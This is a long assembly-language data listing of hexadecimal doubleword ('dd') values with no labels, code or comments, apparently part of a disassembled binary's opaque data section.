		dd 5B1D36B6h, 5510AA31h, 8277B65Eh, 8A0ED15h, 95FC00F8h
		dd 1CFE7EE1h, 75AF01B5h, 0CE015E5Bh, 9813FC3Eh,	1660C950h
		dd 0C24084B8h, 0F21D2930h, 2B016B4h, 0FAFCA62Ch, 6290660Eh
		dd 8E7A0539h, 819F64BDh, 9B6A1Ch, 6992A30Dh, 846441EBh
		dd 809D9939h, 6AD9C725h, 0B076Dh, 0B1EA1CC0h, 9E39EB19h
		dd 8DCE8602h, 8CF21051h, 0A09170B4h, 49A21D74h,	0A0139094h
		dd 7748274Eh, 0B77580B1h, 0E7619CA2h, 1FB3E620h, 841A4E1h
		dd 74E09DCCh, 83780EAh,	0FE14D302h, 80122330h, 98D17678h
		dd 5411392Fh, 326DF400h, 2DF6A351h, 465E0CB6h, 775103ABh
		dd 0DA8CBDBFh, 0ADA084CCh, 2F3D4E40h, 1C2F8ABBh, 0D060AC80h
		dd 8890CD4h, 3599D1FDh,	46016D02h, 440D25B6h, 33654E80h
		dd 929735A8h, 0FC334980h, 0D73E3840h, 0DF076C99h, 0FC4159C3h
		dd 2FCDDA90h, 0FFAE0915h, 30001F7Dh, 538DDB08h,	80AA39CBh
		dd 8E76CC6Ch, 7CF8B4Ch,	6B1FA3B7h, 0D269303Bh, 8E4C02A0h
		dd 0C8E21D01h, 0D45576C0h, 9732A0D9h, 39189619h, 0B6CF05C7h
		dd 0C1CC4B08h, 29222178h, 0DFF317A4h, 0F5628880h, 0DC1C89F8h
		dd 0CC3278BCh, 4EF779E4h, 5311035Ch, 370EB0Ah, 98542100h
		dd 994544E4h, 0A0780033h, 0C11488A1h, 6D009519h, 0F7034A4Dh
		dd 0ECB6FE8Dh, 0BA9300E1h, 677C9478h, 0C2CB3F3Ch, 162804B2h
		dd 7830D012h, 44A0F49Ch, 1204D88Bh, 26B98280h, 0E01058A9h
		dd 84AF07F2h, 0B0CAB6D4h, 9AC34D80h, 73D72E1h, 4C331214h
		dd 3274378h, 75B1C0BDh,	804AAA1Dh, 474DE009h, 10ECC2F0h
		dd 84F12910h, 0C88567E4h, 64027020h, 5F65248Ch,	0F69008B8h
		dd 0FDCD7E01h, 8C42F853h, 0FECCA013h, 52C4D5D9h, 443D4FFh
		dd 308C51F0h, 881D1400h, 0B4271A36h, 2F190256h,	2E1C4183h
		dd 5F940C80h, 7502321Bh, 0B3E91440h, 2E880030h,	0B40E2116h
		dd 8F321F43h, 802F8F40h, 791B1844h, 7E137CEFh, 5C28EE8Ah
		dd 1C003B84h, 212044B4h, 2379EF7Ch, 281128C0h, 0FA1A3B80h
		dd 123D067Dh, 403C76EDh, 0D7FD8700h, 192E7C40h,	46B40724h
		dd 70C2221Ah, 0EFA102FCh, 0B3ECD714h, 27F71804h, 264080h
		dd 456356EDh, 0D750BF49h, 79C782FAh, 1F86407Dh,	28131B70h
		dd 0B4A3188Bh, 8D1DE015h, 261B1708h, 2E02091Fh,	8DE03386h
		dd 88838038h, 2641793Eh, 3D8389h, 0CD4EFD0h, 361A9E1Bh
		dd 1E1830E8h, 0D9386246h, 13F205B3h, 50A103h, 3A3877A0h
		dd 0EF386842h, 33B880ECh, 416409FDh, 5D2C381Ah,	430AE1E7h
		dd 781C77F1h, 1682863Ch, 19636948h, 15340030h, 4043087Dh
		dd 5250B447h, 8826022Fh, 0B441445Ch, 3E5F6838h,	857C2720h
		dd 98020C92h, 7AA5F304h, 0F8FA2054h, 0E7749A05h, 0C484233Ch
		dd 658F4081h, 80524702h, 0A2138C0Dh, 0D46019E9h, 40075CADh
		dd 0EC406430h, 0E4B122CBh, 4832D424h, 4998105Bh, 4460FD2Eh
		dd 30CC3245h, 5FEF4026h, 49BB58C8h, 60CA4C5Ah, 13045057h
		dd 0AA4ED982h, 0D05979C9h, 71D5100Ch, 0A219708Ah, 0C29CC42Ch
		dd 3769F60h, 7CD0080Bh,	32135B2Ch, 51702486h, 588868F6h
		dd 6BA5D4EEh, 0F6B81198h, 62AA0D60h, 940359C2h,	1CA68214h
		dd 584E043h, 0BF216A66h, 216BF3C4h, 2AB5C4FCh, 6E100C46h
		dd 55B6130Fh, 0B004F452h, 1C421D19h, 18C48273h,	0F27A5117h
		dd 0A591B021h, 0B8A88214h, 783CCC50h, 182BB2CBh, 2F8452FDh
		dd 7010849Ah, 28C00366h, 0D4C3D054h, 8A23E1Ch, 5AE40ECBh
		dd 9140F38Ah, 31830442h, 9000D31Eh, 101F49B6h, 0B755F898h
		dd 56AAE1ACh, 9805EC24h, 0F41985F6h, 8C06985Eh,	0B88B7FEh
		dd 7E62D78Bh, 0E692D882h, 7AC2184Bh, 0D0174080h, 9724844Fh
		dd 44680496h, 0BF2239C4h, 1950DC2Ah, 9084A81Ah,	0A292256Ch
		dd 1F45F864h, 50CF4843h, 45DA0441h, 52BFF1D4h, 0C719E20Ch
		dd 4586D20Ch, 0C1C42B7h, 4898F433h, 8205F2C5h, 201E5C85h
		dd 1DF2D88Ch, 0EA404D62h, 0FDFE18D4h, 0CE5FF8C9h, 950EF0C0h
		dd 0CE7E4018h, 9C26FF2Ch, 4A019D4h, 742C1096h, 0FB22F0DCh
		dd 786A0C0Eh, 75E1FDAAh, 78F3D13Eh, 1B44Ah, 9CCB182Fh
		dd 1F9F489Eh, 282D19CCh, 1FC402FFh, 383050A3h, 0DCC6FDCCh
		dd 0EE648421h, 8D0C80CFh, 0A7630EFAh, 13FEB618h, 0C0F69F39h
		dd 0EDA8DA8h, 8948195h,	39BCF264h, 51B61A98h, 0B43DD71Ch
		dd 0C81FFEA3h, 3D432E74h, 0D0BF9B7Ah, 29B71996h, 2CAC1808h
		dd 985415A0h, 9192C450h, 0F5710280h, 0D441E89Dh, 98E0970Ah
		dd 9D4F800Eh, 0A6B6F341h, 18A8CBE3h, 48099000h,	1210049Bh
		dd 0A33C07ADh, 11C53B0Eh, 0B0CDBCC0h, 397E0F60h, 86431BB8h
		dd 977CB6Ch, 202F4E00h,	9E0BD3D7h, 90FA15CFh, 0B1CA4C9Dh
		dd 0AA670280h, 0E091B811h, 47601187h, 77D84880h, 0CE1997ACh
		dd 9307F0C8h, 920CC888h, 0B0F3A520h, 0B3FD1E96h, 8CC0A5A3h
		dd 29ECB2CCh, 2430F75Fh, 74D3531Fh, 50A77D04h, 4F80CCFCh
		dd 1EEC5F75h, 58F51F27h, 74D47118h, 141E824Fh, 3480AC2Ch
		dd 0F0F3CC6Fh, 56B530D6h, 0D28D1771h, 0C5113C9Ch, 626E4F00h
		dd 0F87F89D3h, 0B6955D09h, 5BF82006h, 0F210DC83h, 0DDD603DBh
		dd 0E19F63BEh, 0E954022h, 8C0195Eh, 8C90B26Ah, 0EA10C518h
		dd 3B10808Ah, 942E31Fh,	0E6178E84h, 0C10D5006h,	0D8777902h
		dd 44741C93h, 6E382A74h, 5E6700BCh, 0FFD3DC41h,	0A467A6CEh
		dd 0CF004079h, 8DE7BEh,	556E59B6h, 0DFDC82E2h, 9F46C609h
		dd 0FC2C02D6h, 0D01F00CBh, 6F743649h, 35541700h, 441EED84h
		dd 0C490970Eh, 0D000C668h, 0D7E5CBDDh, 15E6045Dh, 0D00E731Bh
		dd 8D1C4224h, 1759FB91h, 11F38688h, 11D07503h, 0D576EC89h
		dd 99F688C2h, 0A825CFD4h, 6056243Dh, 0C3749C0Dh, 0D1CC3021h
		dd 6CC5EE41h, 0CC850C40h, 30D649B6h, 1F70305Fh,	1105EF4Fh
		dd 7431C0ABh, 28B51882h, 82EBC514h, 3082D538h, 0E113B874h
		dd 0B8641012h, 84458872h, 7E2EE800h, 2D989C1Bh,	814C0109h
		dd 0B63D52BDh, 0F79180F2h, 0C815C40Eh, 85A2CC5h, 0BE160999h
		dd 314D0411h, 0C2280B68h, 1DBC0EE7h, 3C486403h,	2C02ADC7h
		dd 48FD093Dh, 127B949Ch, 0E2A2E9EBh, 74F30074h,	0B4E520C8h
		dd 0FFCF12D5h, 0F91C2245h, 0B364E18h, 5B56972h,	0D23B88A2h
		dd 7AA9890h, 1315F0B9h,	582100Ch, 0F4C56B88h, 42F5082h
		dd 393CF364h, 80660B34h, 60745151h, 7D73D37h, 6D3FE502h
		dd 6223B798h, 65B07CB0h
		dd 8608C16Bh, 0B0323F58h, 644C20FFh, 47D88D0h, 0C77D3102h
		dd 717EDD14h, 2FF9F184h, 0F921987Eh, 5E68767Ah,	4E000B46h
		dd 1477E289h, 0D42D2C43h, 0B89C10C5h, 0AA2F004Ah, 1AEBDD6Dh
		dd 7201A197h, 7A811C3Ch, 98D8BF47h, 60ACA142h, 4906E18h
		dd 0AC70862Bh, 4B216038h, 714AD067h, 0EC509AA6h, 74CD0544h
		dd 0C1BFC364h, 303C773Ah, 27901F52h, 7E9DF70Bh,	0E48445CDh
		dd 0EB4163B0h, 346BE806h, 0D8563E61h, 7610DCDCh, 64E3CBA1h
		dd 0CA665AF0h, 0C01088A8h, 0B4A64B50h, 25C44E58h, 649C60ABh
		dd 5871581Ch, 73FE8D80h, 8200B00Bh, 7AB87B6Dh, 41FC58Eh
		dd 0D0A23584h, 0BC4A098h, 9CCE0E4Eh, 0E2C1ABC8h, 8DCEC9Ah
		dd 2CE0484Bh, 4C12D111h, 9150331Ch, 0B164C222h,	0CC4172DCh
		dd 0DC589086h, 4F9340F5h, 25989890h, 0C856C102h, 7070FD9Bh
		dd 5C979D60h, 7862691h,	7E1F98DAh, 7AC0DEACh, 20EC1689h
		dd 4B3100AAh, 8E1115A9h, 2900F6EEh, 47E51F7Ch, 1262AB53h
		dd 0A6271281h, 0A8C5E354h, 50671C0h, 13315FEEh,	0FE0A202h
		dd 45BC4E57h, 2C13B986h, 0EB0188B2h, 0DCDED598h, 0CC9CF06Bh
		dd 0C81D590Bh, 0FEEE0045h, 3074D17Eh, 0F7317F1Ch, 0D50F1E3Eh
		dd 4FE12E50h, 0E8EC949Eh, 0F0188CA8h, 5B9119FCh, 0A27800C8h
		dd 0BA1CA711h, 0E31327B2h, 43A5D75h, 72010D23h,	0AA34F838h
		dd 73A5A21h, 4025C844h,	3375C57Eh, 144B7A5Eh, 49A8980Ch
		dd 0CC0A00F1h, 37DD2778h, 0D89589F8h, 0FE600B8h, 11B39072h
		dd 0A037C674h, 3BB4106h, 0A81EA63Ch, 2568136Ah,	84041875h
		dd 0F9B64E49h, 0A8D015A1h, 0C3E30350h, 452620DCh, 5335D0D8h
		dd 55EFC800h, 0A798642Eh, 8A210933h, 0C4891B22h, 1079FCD1h
		dd 0BE7C1E18h, 0A7DA4D0Bh, 0A3DC9055h, 98A8008Ch, 0A67834FBh
		dd 0D0B81D3Fh, 7747090h, 0B9871730h, 0F4D611Ch,	86BFCD95h
		dd 90197F8Ch, 0A423CBCh, 3864F073h, 5A81E114h, 2E9F821Ch
		dd 0B84E2FFDh, 173DC2B2h, 607C62C8h, 40F48830h,	9D4B21A5h
		dd 8026989Ch, 6F1ACF1Fh, 0D6689807h, 0B0D512C8h, 31FF8C80h
		dd 0E78740D6h, 3B974F67h, 606481DCh, 4670204Fh,	4C68483Fh
		dd 318B3064h, 3A867A0Ch, 1C8CE98Eh, 61F10B80h, 23C062F9h
		dd 0D0700162h, 0E80864Ch, 0D069510Eh, 6B04B260h, 0A05290FAh
		dd 0EB9425C8h, 888077DCh, 1097D11Fh, 8CF178h, 0E1290743h
		dd 73B3FA11h, 81CB8039h, 998FBB4Fh, 30302F6Eh, 515507FDh
		dd 4368DB57h, 0B5D3753Bh, 48017FC3h, 0AF9D4F2Eh, 1E2FD955h
		dd 38A400A0h, 0E598AC1Fh, 0E7530700h, 4109F78h,	88E64FABh
		dd 0CF0F8020h, 0EFBCEEBDh, 22D40064h, 7FA6E2h, 8DE02F26h
		dd 8F31DCB1h, 53084900h, 0A9A778DDh, 31500B4h, 8DE59609h
		dd 390062D5h, 9D90CA72h, 1590D0Ch, 87F3186Eh, 0E6FC8C25h
		dd 15605854h, 0AB5D1BCh, 0EFA065F9h, 3E118788h,	0F3542043h
		dd 990706EDh, 0C4778762h, 5882B6C2h, 0CD8E807Ch, 8D164C71h
		dd 739A3300h, 9BE37860h, 892C0C02h, 40FE80B3h, 502D1555h
		dd 60E0042Ah, 0D7B511A1h, 0F101F81Ah, 9ACE27C8h, 0F3304D67h
		dd 145B040h, 48B0A02Ch,	0F03018CBh, 911B9E31h, 0C04025F7h
		dd 968333h, 98A415BDh, 3017DA3Eh, 0B054761Dh, 282D7920h
		dd 3382673h, 7BFA297Fh,	20074460h, 1633F48Ch, 0B06222FEh
		dd 0C1666277h, 2209093h, 3C5C0027h, 7494CF2Dh, 2000E66Eh
		dd 0D638B301h, 22FCB2h,	832949E9h, 9E1B6594h, 6144C050h
		dd 0B25551C1h, 3184D2A8h, 867C88EBh, 0A401800Eh, 16FA08A0h
		dd 48F08030h, 2A18C12Eh, 8F1A14B0h, 0ACAC4148h,	0D61831h
		dd 3BF14F71h, 3C5BF725h, 189431D0h, 0FA48E2CCh,	0FDA47868h
		dd 7C4003C3h, 466F4ACh,	0FD587066h, 0F8DE3428h,	4D0516Ah
		dd 873104ACh, 0C5F110F4h, 5FC1B847h, 9440E2F8h,	566B351h
		dd 0EA8515ECh, 0F18007C1h, 2AEFF09Bh, 0E5645760h, 4D21C729h
		dd 0E30F11C0h, 9219F200h, 12FD243Eh, 6C00183Dh,	0D6A45066h
		dd 1DBEEA53h, 0C159FBBFh, 304913ACh, 473DE802h,	54E70B00h
		dd 8CCDF1E0h, 83CC3FF6h, 0DEC500F2h, 8DCA7127h,	0FF040A17h
		dd 0DC58BB37h, 0C3E694C0h, 0D7BD0099h, 0CF4870AFh, 2960B869h
		dd 0C27D73F0h, 7A04002Eh, 0A10B3D1Dh, 0B900B53Ch, 0AEC5E012h
		dd 1E2F72F8h, 0F948A622h, 0CFEB6B80h, 1A216D97h, 838E9C00h
		dd 2EBA9EFDh, 0A84FE8E8h, 702F1A8h, 0CCBE32F4h,	0BF7D434Ah
		dd 8B30690Fh, 0CB71E05Ah, 3050AE11h, 0EF599ED1h, 313BF8B9h
		dd 0CB0F80B5h, 25E0684Eh, 0FDBD0012h, 0FEF21D98h, 22767A50h
		dd 16D0D600h, 1A131FDBh, 0C58006Dh, 0F5E0D1Bh, 80007FADh
		dd 22216747h, 11879Fh, 0DAECFA51h, 0A4969B1Eh, 0EE7D400h
		dd 6CCDB2D8h, 0AF4800E6h, 8BDDD569h, 1A070274h,	8416D3Bh
		dd 0B1EBB2C0h, 0EDF9032Fh, 75B0564Fh, 518CC0E4h, 49000E50h
		dd 1B1F5936h, 6B5E2Ah, 0E217CE87h, 0E3FAEF72h, 0D7847400h
		dd 0ACC51681h, 51C0A87Fh, 9007032Fh, 91E25C42h,	30D78EE1h
		dd 0C000D5C8h, 0F45E8415h, 7C93A9BFh, 0F3DE3910h, 0DF2BA701h
		dd 0EC7817BDh, 8C1C168Fh, 0C200727Ch, 76B8283Ch, 0A7A60C1Fh
		dd 0BD682EEDh, 0A486803h, 0D8D45AE6h, 0EC8AD1h,	6A47AB5h
		dd 9F99A89Dh, 8310B33Dh, 60F6C2C7h, 761FA854h, 0C69A076Bh
		dd 308284B0h, 5AD617CAh, 80BCCF36h, 0CCE90AA6h,	9FCF616h
		dd 403806D8h, 294C8966h, 0AAC500FBh, 7A51025Dh,	0A5B600C0h
		dd 0D6FAE669h, 0BB3F6DB0h, 0A29C0F53h, 0DCF3A05Dh, 0A4FEC5h
		dd 78C28B67h, 34912F1Bh, 2490EC7Ch, 7CE56F00h, 548626F4h
		dd 0A1785809h, 0BA0A9B03h, 91A0304Eh, 0E1005943h, 0F971B3C9h
		dd 44820Fh, 3C3D6311h, 9D68FC81h, 8060A00h, 8B8814C2h
		dd 0B3300279h, 1B152B42h, 0DC490061h, 0D400DC7Ah, 0F110A643h
		dd 288E13h, 1E3BFF09h, 31630796h, 0FBB52E00h, 264A8524h
		dd 331F0316h, 0FA38490Fh, 0D44E64E8h, 5C08EA04h, 0D880DFEDh
		dd 0FB4F2h, 0BD31FD07h,	34DC5BBEh, 0B76290A8h, 9A503500h
		dd 47489194h, 75533D66h, 0AAD05B00h, 0B29003F8h, 1465A724h
		dd 7AB89A00h, 0CCE636h,	4F85B187h, 0D8B73F28h, 9A123900h
		dd 7D4477EBh, 18010079h, 0EA549EE7h, 680141C5h,	8C078F84h
		dd 0B2ECDF5Bh, 8D380C92h, 0A0A8A6CBh, 879EBE0Fh, 0F7B6A0DCh
		dd 0D76CA3h, 6B192B6Fh,	454FE750h, 7D27F300h, 26AEEFACh
		dd 8EAD01BCh, 0FEB6DBBEh, 0B8D934F0h, 0AF43DE00h, 0E7EA6511h
		dd 0EBC30062h, 0F7167A4Fh, 90005398h, 74EFDE17h, 5A9D8h
		dd 11600F1Bh, 0C43DA536h, 2EAAC90Ch, 7AFF9835h,	6F210064h
		dd 0B8193F56h, 1E0E1DF2h, 40420C3Ch, 494DC257h,	0C0FC3BCDh
		dd 6F3D5848h, 921C5500h, 5DD26225h, 0CC7CF900h,	7D287659h
		dd 0B5FE0784h, 71A5999Fh, 89BBB349h, 80FAE5BEh,	0DAB9383Ch
		dd 0E1F2DDh, 3358F5A8h,	14C6F8EBh, 280CF37Fh, 0F081DB5Eh
		dd 9CED02F0h, 0CB597D01h, 0B6F87060h, 0C1C34E00h, 71D7453Dh
		dd 0B3950E97h, 7442140Ah, 0F080DB65h, 0EBCFAA16h, 62802A1Ch
		dd 53DFAC07h, 2912208Fh, 0E870542Bh, 2E50000Eh,	595AE19Dh
		dd 25B8CF57h, 0CD7A1D00h, 0E6901A80h, 98DD0169h, 922ADF8h
		dd 9DBDF817h, 1C42AA0Fh, 9BA86167h, 0B0803C19h,	5B2E77E1h
		dd 0FE000E3Fh, 9DB875E0h, 0D10B23h, 2F7EF890h, 54F4268Eh
		dd 1604B312h, 9DC79001h, 0F02045E5h, 19597Ah, 3DCBD800h
		dd 0EB979455h, 28F4D519h
		dd 0EF004828h, 39005673h, 0DAFAEDB8h, 1C0574F0h, 569A145Ah
		dd 0C368411Eh, 40BAEC04h, 0A26DD1DCh, 0D7EEC003h, 0B0B24C9Dh
		dd 28754FEFh, 4894F2B3h, 2600E1BEh, 54F9A67Ah, 623EDE37h
		dd 0B84060C7h, 1F462FFAh, 80F70616h, 7DA64F56h,	77046719h
		dd 0B2E987DDh, 0BFB088C0h, 0C9CE603Ch, 5DC74DD5h, 9ADC091Ch
		dd 82EBFDC3h, 8611F0F1h, 9C4C0017h, 56E3C26Ch, 9907F544h
		dd 0CF1E1AE5h, 0E9CD0100h, 0B50B0095h, 50D4AC03h, 0E661B676h
		dd 7DEBDB0h, 6100844Bh,	345D951Dh, 97002B40h, 0FDF1EC93h
		dd 1AAB8Ch, 0E7D34E8Eh,	0E49BF933h, 2F852600h, 29B7D198h
		dd 7B04007Dh, 66E64C80h, 92177FA0h, 8C40D3D5h, 0B1DDED0Ah
		dd 0F1D600EFh, 2987C3BDh, 711FCB55h, 96406F1Fh,	6BF97C36h
		dd 7D67B05Eh, 246800D5h, 0F81AA7Ah, 1907C1A5h, 0B5CE46D9h
		dd 0F5944D3h, 0BEC83D88h, 9FC2A32Eh, 3CC8F257h,	8407CD2Dh
		dd 27461AC0h, 1728805Fh, 3F80375h, 859B388h, 0D6909F6Dh
		dd 3F00B952h, 98F3BCC0h, 0DCAFC7h, 0FB9492A9h, 3309A180h
		dd 4E71E009h, 473C0FB7h, 5282C905h, 0B908900Ah,	87DF8BCBh
		dd 0E5B0105Fh, 0B7005B53h, 4774DFF2h, 1383E39h,	46D7ACBDh
		dd 308DE3EBh, 790E150Eh, 0A4AF12h, 0AEC8DD7Bh, 0D92D0133h
		dd 0ABF9F396h, 0D83FD3EDh, 4B0062Ah, 68785Ch, 0EB8B1203h
		dd 0AC31B79Ah, 3F004F98h, 0C0B9BB13h, 7C933D2Ah, 7E20A9C1h
		dd 805EB087h, 2EEC53Ah,	295A780Ch, 0A2004850h, 4B59345h
		dd 0FE14B124h, 0DCD80068h, 32666E8Bh, 0F304B486h, 0C0AF3541h
		dd 0B2342B00h, 0F70CF665h, 482FD950h, 1512404h,	0DB7200D8h
		dd 0E03017F2h, 61B8652Eh, 55E8D001h, 0F0C82C04h, 7168C3B0h
		dd 2921E547h, 585B0861h, 88A4BC88h, 8D91E705h, 1179CD03h
		dd 458BA35Dh, 3D93A7B0h, 828F9139h, 62551B53h, 0F8C0808Ah
		dd 138592h, 0D814C5A1h,	0C32DBE45h, 2ED5313Bh, 7202099Dh
		dd 405C502Ch, 4C040134h, 1220247Fh, 98C6662Ch, 2D1F4BACh
		dd 0B598BFAh, 843C8322h, 0F02900ADh, 0FA50FEDCh, 6100BE6Bh
		dd 336AC620h, 79F4EEh, 31BAA809h, 46D135BFh, 0F70069FCh
		dd 68967EE3h, 1DFDE4B4h, 7BDA19ACh, 0E1750900h,	3C45FC1Bh
		dd 330C6A00h, 0F34131DFh, 5DBC3353h, 6BA0E168h,	0AE009485h
		dd 71C2C4F0h, 2AF75C20h, 0F06DBCh, 0F9C62522h, 5BA0F26h
		dd 0D1BEF800h, 7E8E39Dh, 0CDE900B8h, 0A451D0FEh, 5778A146h
		dd 3CB03900h, 47C952B2h, 618900DDh, 0FD767F31h,	94A87C80h
		dd 6009075h, 0FBBF1827h, 94F4179Ah, 0F321009Ch,	0B66B9582h
		dd 0B19E1C05h, 984013D2h, 33406AEEh, 7A11C075h,	0D3BDF6D8h
		dd 0B6CC8E00h, 0F8E6388Ch, 0C74C002Dh, 224089BFh, 913D75F9h
		dd 172E0FA9h, 1E820B4h,	7E616Fh, 85186A90h, 3E0CA6D8h
		dd 777DDF00h, 0C2E515FFh, 2DC82403h, 7C1650h, 0C457D6A0h
		dd 74F6FD0Ah, 240FB800h, 0AC4C4BBBh, 0A99F00A7h, 58DA8F1h
		dd 0ECF63F41h, 33FCE60Ah, 302FC4Ah, 580A5691h, 7392012Ch
		dd 34F56CC0h, 1B95D47Eh, 8AD91306h, 1EC8A3F2h, 26D5658h
		dd 4EB0CC51h, 30E11441h, 95143053h, 7989679h, 3DAFA8AAh
		dd 2445D1D0h, 169ECCAh,	0DEA71177h, 0C30CAA71h,	7C5890CCh
		dd 4C097646h, 6575E7h, 3E7ACB1Bh, 5BDA07AEh, 0C039BF1Bh
		dd 2B1C1894h, 0CE740D1Eh, 260AF1C0h, 72C2F986h,	385A73D2h
		dd 6B018AA1h, 0FDB19508h, 7125C0AFh, 1CEA0700h,	4F4C9E93h
		dd 0CD0D12A7h, 66640004h, 82F2CBA9h, 64D07F00h,	0F6D1ACE4h
		dd 86C500DCh, 0AE2A6C20h, 3300D76Dh, 0EF13C779h, 5B8A50h
		dd 0BBE4BF3Ch, 4C74EE4Eh, 0D390A600h, 4676BA0Ch, 7EAA26AFh
		dd 8CD981E8h, 0E782BDE4h, 0AE6ED380h, 969A9801h, 4480B2C8h
		dd 4A87BBF8h, 12A3F0ECh, 0AB7AA17Bh, 8E179900h,	5630B4E2h
		dd 33EE058Ch, 0D0D3F7BAh, 0C539DCCCh, 321D1A00h, 6C80DE5Dh
		dd 7A922431h, 40A79CF0h, 0CB5FBB81h, 7000EE17h,	74EA53C9h
		dd 31F2466h, 0EC65BDBEh, 300701E0h, 3FE13D9h, 8A5A2D50h
		dd 4836EE85h, 0E9006C12h, 326A8FCFh, 0EE00F672h, 9DDAAA78h
		dd 287F02ABh, 5840E40h,	2187BF9Bh, 5F84C0F1h, 5900FBFFh
		dd 9FCA5424h, 4835F5B2h, 3600E427h, 4AD5A901h, 0F1009D2Bh
		dd 9B61B2Eh, 0EBC4F4h, 2E9DD93h, 2A8065ADh, 2977FE00h
		dd 0E610C1Eh, 6BA50033h, 45BD6DB9h, 0E9085ADBh,	25ED893h
		dd 25FA5C89h, 6DFC4C16h, 0A2C9D219h, 0DD8FF8E7h, 74A6BB00h
		dd 49F010F6h, 787D0343h, 84D15932h, 0CFA316D8h,	0A67EAE07h
		dd 353388EDh, 0C4309049h, 1B570083h, 0E80ACD2h,	0D6241671h
		dd 0DD00AC87h, 3ABDB774h, 93A98D1h, 2BE4864Fh, 0E2D80804h
		dd 0CC5900ECh, 0D2A4C224h, 91C0376h, 0C63DC95Eh, 0BA3A60E0h
		dd 0E02EF00h, 0DC58DDA9h, 6B0C1C0Ah, 422900E6h,	0A4CFD5CDh
		dd 782B4338h, 0CE30C500h, 5CFE177Bh, 6E920ECCh,	38A0E785h
		dd 67C83D6h, 0A0125100h, 7F19D75Dh, 0F77E63h, 899D305h
		dd 0FF3A306Bh, 65F2931Dh, 37009024h, 3C4F3FBDh,	178F6AAh
		dd 9987E479h, 74519D41h, 5D134058h, 84030DBAh, 0C326B74Ah
		dd 0D52380E3h, 7E89016Eh, 0B519853h, 53080F5h, 0F90D96DEh
		dd 0F2AA73EBh, 218F26FBh, 0C75902D8h, 0D300AC3Bh, 251466h
		dd 0E27F5CAh, 0BD1110BFh, 0DBA5D903h, 9FBBF3E4h, 0D8C6A603h
		dd 0CD802Bh, 1A29F7EEh,	36E29FFFh, 2DCFB402h, 21F068h
		dd 94C226E9h, 5231C20h,	0D6B35FDh, 98C8012Fh, 2099AE6Ah
		dd 12242A80h, 0CE409414h, 1CFE13Ch, 71D95F63h, 0E461B818h
		dd 0D7B9AB9h, 983AF228h, 7628EB00h, 781D2760h, 0C73B71ECh
		dd 0A0934D18h, 4272C958h, 9AB07000h, 0ACA1A93Ch, 997A0448h
		dd 9081B7CAh, 0E8EE8420h, 0DD919700h, 0FCF32C92h, 0A0E5000Dh
		dd 0DC0E33FBh, 0C2009DB0h, 28F864B2h, 71CF148Bh, 0EA4F05F1h
		dd 0C035D553h, 0D9B99FC8h, 16628501h, 6BF14B98h, 69D06087h
		dd 8034B48Ah, 7B8F6F8Ch, 0ADCDB100h, 7F3E5B54h,	0D64E0EFEh
		dd 0C8A4CFEAh, 87CC80E5h, 0AB73465Fh, 78222E00h, 2971290h
		dd 0CB612D65h, 60ECC987h, 0F9BFC94Dh, 5701937Ah, 7B8E5CD9h
		dd 6C306AE7h, 70E0065Bh, 493CD473h, 0EADD6109h,	268080D9h
		dd 5C936790h, 404EBAF4h, 2FBDD28Ch, 6E099854h, 808680EEh
		dd 30FEE86Eh, 824000B9h, 4531BEA8h, 227846E3h, 18FA9C07h
		dd 5D907D67h, 4730864h,	0C16823A4h, 495C90C7h, 0B8905BA9h
		dd 0B53FB70Fh, 104FB751h, 7F83E35Dh, 176E8078h,	0E0D80326h
		dd 8ABFC20Dh, 79C459B8h, 0AF711D00h, 0A88737A1h, 8EEA12BDh
		dd 214400BFh, 41AECAAh,	27395F00h, 92468BF4h, 81470049h
		dd 7521B23h, 8C3FD7FCh,	335F1FAFh, 6197A200h, 0FA110210h
		dd 700B0BDEh, 7C40BFD6h, 8E074D93h, 95532E06h, 0A000E48Ah
		dd 789E242h, 8634008Bh,	297F1BCFh, 74F99D33h, 8E17D0E4h
		dd 0D060CEF4h, 941E2546h, 602F1398h, 7223CD48h,	0A3C20301h
		dd 5C0E9D99h, 4D623EE0h, 2D0060C9h, 112677E6h, 1E071CBAh
		dd 4F8BCAF0h, 3D7D9800h, 71A40050h, 578E5E59h, 583E3893h
		dd 614B9FBDh, 50A29640h, 9875C595h, 84E40054h, 2D19AE58h
		dd 0FA780B91h, 854032Ah, 0D894DB07h, 819C6C97h,	1EE05EA9h
		dd 21AE0034h, 19B0CB4Eh, 454B78E8h, 35A40440h, 72D193h
		dd 0CFEC174Fh, 0C63834ACh, 0B0378001h, 0B2C388FEh, 6D763882h
		dd 4C585B29h, 2CA17A00h
		dd 31B59A85h, 66E400DCh, 0A072280Fh, 810924F3h,	65C8FD7Eh
		dd 89EC644h, 0CA3E805h,	10055875h, 1C00ECACh, 85C92582h
		dd 0BA7500E0h, 1601F728h, 0C802C748h, 0ABEB89B0h, 9DFCC064h
		dd 50E10077h, 0F63017E6h, 0DC719E6Ch, 5818E74Eh, 24937D70h
		dd 5B7260Dh, 804D71B2h,	35AC53BEh, 3B9C2155h, 501EFF0h
		dd 72D43227h, 0FF94F020h, 6EE249C0h, 63A70A15h,	0F3A6B118h
		dd 3BE7483Eh, 33047C7Eh, 94F51238h, 8911A1C0h, 2D311D35h
		dd 0E4973BABh, 2A350C1Ah, 4614F40h, 0EC672F49h,	30F12DCCh
		dd 19018B2h, 40006ADEh,	1378855Ah, 0FC816Eh, 3B622EDFh
		dd 1FDD2C67h, 0DA13800h, 3CF74501h, 0C5F000DCh,	934FFB2Ah
		dd 290051CDh, 0ECDB6DB8h, 0CFA6EC7h, 41820D1Bh,	123FF630h
		dd 5D030056h, 0CA040CFEh, 3AE80017h, 0E998D54Fh, 9A77D92Ch
		dd 96D6C103h, 0D13DC86Bh, 0D7204A8Eh, 8B8C0206h, 4438B4DBh
		dd 0DEC87260h, 0EA5DA400h, 7EBA9D6h, 5C0300CFh,	4EA8D810h
		dd 3B00900Eh, 50453E69h, 8E81F6h, 343CB4E8h, 0F50E1DC6h
		dd 0F54F700h, 8CD9A07h,	56B000EDh, 4B35F2Dh, 270BFE87h
		dd 0E5293B10h, 20CBC9C8h, 0AC042FE5h, 0F6DD24F1h, 125F0480h
		dd 114CA8D9h, 4F113853h, 43B00C4h, 4E602AF0h, 6729C8D8h
		dd 24D1D542h, 0D2A7212Fh, 79103B12h, 81389CFh, 8FD344E3h
		dd 0CD212284h, 0B1118742h, 8A321D0h, 6B90592Fh,	290F1993h
		dd 0B90877h, 614E8B8h, 7F23F0B7h, 0BB3DDEE8h, 0BCBD0F69h
		dd 0B6824741h, 0CB2151EEh, 42A28D1Ch, 0B09311D0h, 4A1EDF21h
		dd 11E442A2h, 0F321B153h, 90B24008h, 0AC0684F8h, 44F10744h
